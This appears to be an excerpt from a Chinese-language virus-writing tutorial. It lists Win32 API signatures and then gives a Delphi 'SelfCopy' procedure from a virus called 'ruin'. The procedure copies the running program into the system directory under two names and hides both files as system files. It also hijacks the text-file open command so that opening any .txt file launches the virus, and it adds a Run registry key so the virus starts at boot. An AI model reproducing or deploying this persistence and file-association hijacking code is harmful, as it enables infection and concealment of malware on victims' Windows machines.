UINT GetSystemDirectory( LPTSTR lpBuffer, // 存放返回的字符串的缓冲区 UINT uSize // 上面的缓冲去的长度 ); |
BOOL CopyFile( LPCTSTR lpExistingFileName, // 源文件的路径 LPCTSTR lpNewFileName, // 目标文件的路径 BOOL bFailIfExists // 这是一个标志,如果目标文件已经存在,是否强制覆盖 ); |
BOOL SetFileAttributes( LPCTSTR lpFileName, // 需要设置的文件的文件名 DWORD dwFileAttributes // 设置的值。 ); |
LONG RegOpenKey( HKEY hKey, // 主键,比如HKEY_LOCAL_MACHINE LPCTSTR lpSubKey, // 跟随的subkey PHKEY phkResult // 存放函数返回这个打开的键的句柄 ); |
LONG RegSetvalueEx( HKEY hKey, // 这个就是刚才我们得到的句柄 LPCTSTR lpvalueName, // 键名的地址 DWORD Reserved, // 一般设置为0 DWORD dwType, // 我们写的键的类型,字符串为REG_SZ CONST BYTE *lpData, // 键值的地址 DWORD cbData // 写入的键值的长度 ); |
procedure SelfCopy; var Path,value:array [0..255] of char; Hk:HKEY; S:string; begin GetSystemDirectory(Path,256); //取得系统的路径 s:=strpas(Path); //转换成字符串 CopyFile(pchar(paramstr(0)),pchar(S+‘/ruin.exe‘),false); CopyFile(pchar(paramstr(0)),pchar(S+‘/virus_ruin.exe‘),false); //把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe SetFileAttributes(pchar(S+‘/ruin.exe‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); SetFileAttributes(pchar(S+‘/virus_ruin.exe‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); //设置刚才的两个文件为系统和隐藏 RegOpenKey(HKEY_CLASSES_ROOT,‘txtfile/shell/open/command‘,Hk); value:=‘virus_ruin.exe %1‘; RegSetvalueEx(Hk,‘‘,0,REG_SZ,@value,17); //把virus_ruin.exe和文本文件关联 RegOpenKey(HKEY_LOCAL_MACHINE,‘Software/Microsoft/Windows/CurrentVersion/Run‘,Hk); value:=‘ruin.exe‘; RegSetvalueEx(Hk,‘ruin‘,0,REG_SZ,@value,8); //设置开机自动运行ruin.exe end; |